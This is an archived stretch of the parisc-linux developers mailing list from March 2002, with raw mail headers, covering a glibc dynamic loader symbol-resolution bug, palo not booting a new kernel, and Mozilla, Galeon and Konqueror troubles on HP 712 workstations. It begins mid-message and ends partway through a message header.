List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14304

In looking at the the failure of the g++.brendan/new3.C, I have observed
what appears to be a problem with the dynamic loader.  The function
_Znwj appears as a global symbol in the main program and in
libstdc++.so.4.0.0.  The version in the main program should be selected
in preference to the one in the shared library.  However, the dynamic
loader actually uses the version in the shared library causing the
test to fail.  The program works ok with static linkage.

It looks like the symbol search procedure used in glibc needs some work.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gururaj Ananthateerta <gururaj@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] new vmlinux!!!
Date: Mon, 11 Mar 2002 14:56:25 -0800
Organization: Hewlett Packard
Lines: 18
Approved: news@gmane.org
Message-ID: <3C8D3619.519A601C@cup.hp.com>
References: <20011001175425.A31305@dogbert.localdomain> <Pine.NEB.4.33.0110021434430.24166-100000@www2.scram.de> <20011005222028.A13585@dogbert.localdomain> <20011005215600.B3745@parcelfarce.linux.theplanet.co.uk> <20011005233602.A13826@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621147 4603 80.91.229.3 (22 Nov 2014 01:52:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:27 +0000 (UTC)
To: parisc <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 11 15:56:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238])
	by dsl2.external.hp.com (Postfix) with ESMTP id EE968482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Mar 2002 15:56:39 -0700 (MST)
Original-Received: from hpindda.cup.hp.com (hpindda.cup.hp.com [15.13.95.92])
	by palrel13.hp.com (Postfix) with ESMTP id 8E92C40073C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Mar 2002 14:56:36 -0800 (PST)
Original-Received: from cup.hp.com (maverick.cup.hp.com [15.13.105.84])
	by hpindda.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id OAA02743
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Mar 2002 14:56:31 -0800 (PST)
X-Mailer: Mozilla 4.73 [en] (X11; I; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14305

I have 3 partitions on primary disk
   Device Boot    Start       End    Blocks   Id  System
/dev/sda1             1        95     97264   f0  Linux/PA-RISC boot
/dev/sda2            96       339    249856   82  Linux swap
/dev/sda3           340      8683   8544256   83  Linux

I am doing some modifications to the code and trying to boot with a new
linux.
I placed my vmlinux in /boot, but the palo doesn't seems to recognize my
kernel.

Any suggestions.

Guru





From - Thu Nov 08 21:22:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tilo Jandt <tilo@jandt-online.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Mozilla and Galeon
Date: Tue, 12 Mar 2002 00:04:00 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <5.0.2.1.2.20020312000014.02ac2098@mailbox.hrz.tu-chemnitz.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621147 4606 80.91.229.3 (22 Nov 2014 01:52:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 11 16:07:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tom.hrz.tu-chemnitz.de (tom.hrz.tu-chemnitz.de [134.109.132.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id CA3EB4834
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Mar 2002 16:07:08 -0700 (MST)
Original-Received: from pat.hrz.tu-chemnitz.de ([134.109.132.143] ident=mail)
	by tom.hrz.tu-chemnitz.de with esmtp (Exim 3.32 #3)
	id 16kYsk-0008Gd-00
	for parisc-linux@lists.parisc-linux.org; Tue, 12 Mar 2002 00:07:06 +0100
Original-Received: from gerd.csn.tu-chemnitz.de ([134.109.88.146] helo=gerd.jandt-online.net)
	by pat.hrz.tu-chemnitz.de with esmtp (Exim 3.32 #2)
	id 16kYsk-0000rf-00
	for parisc-linux@lists.parisc-linux.org; Tue, 12 Mar 2002 00:07:06 +0100
X-Sender: pt7606182-tilo@pop.puretec.de
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14306

Hi,

today I found out that Mozilla and Galeon are now availlable for Debian=
 HPPA.
So I downloaded and installed these Packages but both programms hang up=20
with a Segmentation Fault.

Mozilla before there is something to see and Galeon after you can see the=20
Main Window before showing the start page.

Does anyone have the same problems?

I have a HP 712/60.
I know Mozilla will not work very good on these machine but I wan't to try=
=20
it because there are no real browser alternatives.
Lynx is just textbased and dillo is to simple.

cya,
Tilo

|[ Tilo Jandt, K=F6rnerstra=DFe 8, D-09306 Rochlitz         ]|
|[ mailto:tilo@jandt-online.net ]  [ ICQ: 73832493              ]|
|[ Phone: +49 179 5333 255   ]  [ Fax: +49 3737 771478  ]|





From - Thu Nov 08 21:22:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James S <smithjames@comcast.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mozilla and Galeon
Date: Mon, 11 Mar 2002 20:59:39 -0500
Lines: 30
Approved: news@gmane.org
Message-ID: <002201c1c969$922609c0$02c1a8c0@james.co.uk>
References: <5.0.2.1.2.20020312000014.02ac2098@mailbox.hrz.tu-chemnitz.de>
Reply-To: James S <smithjames@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416621147 4616 80.91.229.3 (22 Nov 2014 01:52:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Tilo Jandt <tilo@jandt-online.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 11 18:59:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.comcast.net (smtp.comcast.net [24.153.64.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1672D4830
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Mar 2002 18:59:43 -0700 (MST)
Original-Received: from kenny (pcp944901pcs.cstltn01.in.comcast.net [68.58.113.28])
 by mtaout01.icomcast.net (iPlanet Messaging Server 5.1 (built Feb  6 2002))
 with SMTP id <0GSU00FYZ87G12@mtaout01.icomcast.net> for
 parisc-linux@lists.parisc-linux.org; Mon, 11 Mar 2002 20:59:40 -0500 (EST)
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-Priority: 3
X-MSMail-priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14307


>today I found out that Mozilla and Galeon are now availlable for Debian
HPPA.
>So I downloaded and installed these Packages but both programms hang up
>with a Segmentation Fault.
>
>Mozilla before there is something to see and Galeon after you can see the
>Main Window before showing the start page.
>
>Does anyone have the same problems?
>
>I have a HP 712/60.
>I know Mozilla will not work very good on these machine but I wan't to try
>it because there are no real browser alternatives.
>Lynx is just textbased and dillo is to simple.

exactly the same problems on the same machine type here, but i think that
these problems will mostly be ironed out the more mature the distro becomes

btw - the kde browser konqueror works, but it is rather slow on these
machines

it'll be interesting to see how dillo developes - i think that'll be the
best bet speed wise on the 712/60's

James S





From - Thu Nov 08 21:22:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dynamic loader problem
Date: Mon, 11 Mar 2002 22:01:34 -0800
Lines: 12
Approved: news@gmane.org
Message-ID: <20020312060134.GH730@tausq.org>
References: <200203111808.g2BI8u5N013881@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621148 4620 80.91.229.3 (22 Nov 2014 01:52:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 11 23:01:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id C92A44833
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Mar 2002 23:01:53 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id lukylaaa for parisc-linux@lists.parisc-linux.org; Mon, 11 Mar 2002 23:01:13 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16kfLq-0003A4-00; Mon, 11 Mar 2002 22:01:34 -0800
Content-Disposition: inline
In-Reply-To: <200203111808.g2BI8u5N013881@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.27i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14308

Dave, FYI I upgraded a bunch of stuff on gsyprf11.... let me know if you
see any new breakage. In particular I think bash should be in better
shape now.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:22:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new vmlinux!!!
Date: Tue, 12 Mar 2002 07:34:29 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20020312063429.GA24304@charite.de>
References: <20011001175425.A31305@dogbert.localdomain> <Pine.NEB.4.33.0110021434430.24166-100000@www2.scram.de> <20011005222028.A13585@dogbert.localdomain> <20011005215600.B3745@parcelfarce.linux.theplanet.co.uk> <20011005233602.A13826@dogbert.localdomain> <3C8D3619.519A601C@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621148 4621 80.91.229.3 (22 Nov 2014 01:52:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:28 +0000 (UTC)
Cc: parisc <parisc-linux@lists.parisc-linux.org>
To: Gururaj Ananthateerta <gururaj@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 11 23:34:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.73.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id DA19B483B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Mar 2002 23:34:35 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id DA68315C009; Tue, 12 Mar 2002 07:34:34 +0100 (CET)
Original-Received: from localhost (localhost [127.0.0.1])
	by hauptpostamt.charite.de (Postfix) with SMTP
	id 835CF15C017; Tue, 12 Mar 2002 07:34:34 +0100 (CET)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 2266C15C009; Tue, 12 Mar 2002 07:34:32 +0100 (CET)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id BC98A633B3; Tue, 12 Mar 2002 07:34:29 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <3C8D3619.519A601C@cup.hp.com>
User-Agent: Mutt/1.3.25i
X-Virus-Scanned: by AMaViS snapshot-20020220
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14309

On Mon, Mar 11, 2002 at 02:56:25PM -0800, Gururaj Ananthateerta wrote:
> I have 3 partitions on primary disk
>    Device Boot    Start       End    Blocks   Id  System
> /dev/sda1             1        95     97264   f0  Linux/PA-RISC boot
> /dev/sda2            96       339    249856   82  Linux swap
> /dev/sda3           340      8683   8544256   83  Linux
> 
> I am doing some modifications to the code and trying to boot with a new
> linux.
> I placed my vmlinux in /boot, but the palo doesn't seems to recognize my
> kernel.

How does the palo.conf look like?
What happens if you run palo?

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Why you can't find your system administrators:
The admin is suffering so bad from sleep deprivation that they may as well not be there for all the sense you can make of the words they are saying. 




From - Thu Nov 08 21:22:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dynamic loader problem
Date: Tue, 12 Mar 2002 11:08:29 -0500 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <200203121608.g2CG8US7009844@hiauly1.hia.nrc.ca>
References: <20020312060134.GH730@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621148 4623 80.91.229.3 (22 Nov 2014 01:52:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 12 09:08:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3F780482F
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Mar 2002 09:08:36 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g2CG8VFN009846;
	Tue, 12 Mar 2002 11:08:31 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g2CG8US7009844;
	Tue, 12 Mar 2002 11:08:30 -0500 (EST)
In-Reply-To: <20020312060134.GH730@tausq.org> from "Randolph Chung" at Mar 11, 2002 10:01:34 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14310

> Dave, FYI I upgraded a bunch of stuff on gsyprf11.... let me know if you
> see any new breakage. In particular I think bash should be in better
> shape now.

The biggest issue on gsyprf11 is the filling of the log file with page
faults.  I've more or less given up running the gcc testsuite because
expect almost always seems to get into a state where it causes an
enormous number of page faults and then hangs when when the /var
file system is full.  I have noticed that various pthread test
programs in the libstdc++ testsuite also cause many page faults.
It's possible this problem is specific to 64-bit machines.

There haven't been as many random seg faults recently.

Has anybody worked on the various "dl-" routines in glibc/sysdeps/hppa
recently?  That's probably where the dynamic loader problem lies.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dynamic loader problem
Date: Tue, 12 Mar 2002 08:46:00 -0800
Lines: 13
Approved: news@gmane.org
Message-ID: <20020312164600.GC6580@tausq.org>
References: <20020312060134.GH730@tausq.org> <200203121608.g2CG8US7009844@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621149 4627 80.91.229.3 (22 Nov 2014 01:52:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 12 09:46:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id C01414842
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Mar 2002 09:46:16 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id cfpylaaa for parisc-linux@lists.parisc-linux.org; Tue, 12 Mar 2002 09:45:40 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16kpPU-0003vo-00; Tue, 12 Mar 2002 08:46:00 -0800
Content-Disposition: inline
In-Reply-To: <200203121608.g2CG8US7009844@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.27i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14311

> Has anybody worked on the various "dl-" routines in glibc/sysdeps/hppa
> recently?  That's probably where the dynamic loader problem lies.

afaik ESIEE guys are looking at glibc.... thibaut? clement? any comments?

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:22:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James S <smithjames@comcast.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Konqueror without aRts? (Was: Mozilla and Galeon)
Date: Tue, 12 Mar 2002 11:54:18 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <001601c1c9e6$8e1fe300$02c1a8c0@james.co.uk>
References: <OF7C015490.26FA7FD8-ONC1256B7A.003B7D2A@hasler.ascom.ch>
Reply-To: James S <smithjames@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416621149 4629 80.91.229.3 (22 Nov 2014 01:52:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thomas Schmid <Thomas.Schmid@ascom.ch>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 12 09:54:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.comcast.net (smtp.comcast.net [24.153.64.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0B8BE4841
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Mar 2002 09:54:22 -0700 (MST)
Original-Received: from kenny (pcp944901pcs.cstltn01.in.comcast.net [68.58.113.28])
 by mtaout02.icomcast.net (iPlanet Messaging Server 5.1 (built Feb  6 2002))
 with SMTP id <0GSV00137DMKWK@mtaout02.icomcast.net> for
 parisc-linux@lists.parisc-linux.org; Tue, 12 Mar 2002 11:54:20 -0500 (EST)
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-Priority: 3
X-MSMail-priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14312

> Hi James,
>
> Running KDE was a problem on my machines: 715/100XC, 712/80. It took about
> 5min from loging
> in at KDM to see KDE, producing 3 times a "knotify"-error. From this list
> I got the tip that this was due
> to "libarts" and indeed, after removing "libarts", the login process was
> much faster and would not
> give me the "knotify"-errors anymore.
> Unfortunately removing "libarts" meant removing "konqueror" as well, or at
> least "dselect" would
> always force the removal.
>
> Did you find a way to have "konqueror" without "aRts" ? Or don't you have
> the problem with KDM
> login ?
>
i sort of cheated - i'm using windowmaker & ran konqueror under that
although it was still painfully slow to load

i dont think the arts lib is a dependency of konqueror, it must be a
dependant of another section of KDE

i also never used any of the the login managers (kdm xdm etc) as i dont do
any remote x-logins, so i never encountered any problems there.

James S







From - Thu Nov 08 21:22:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
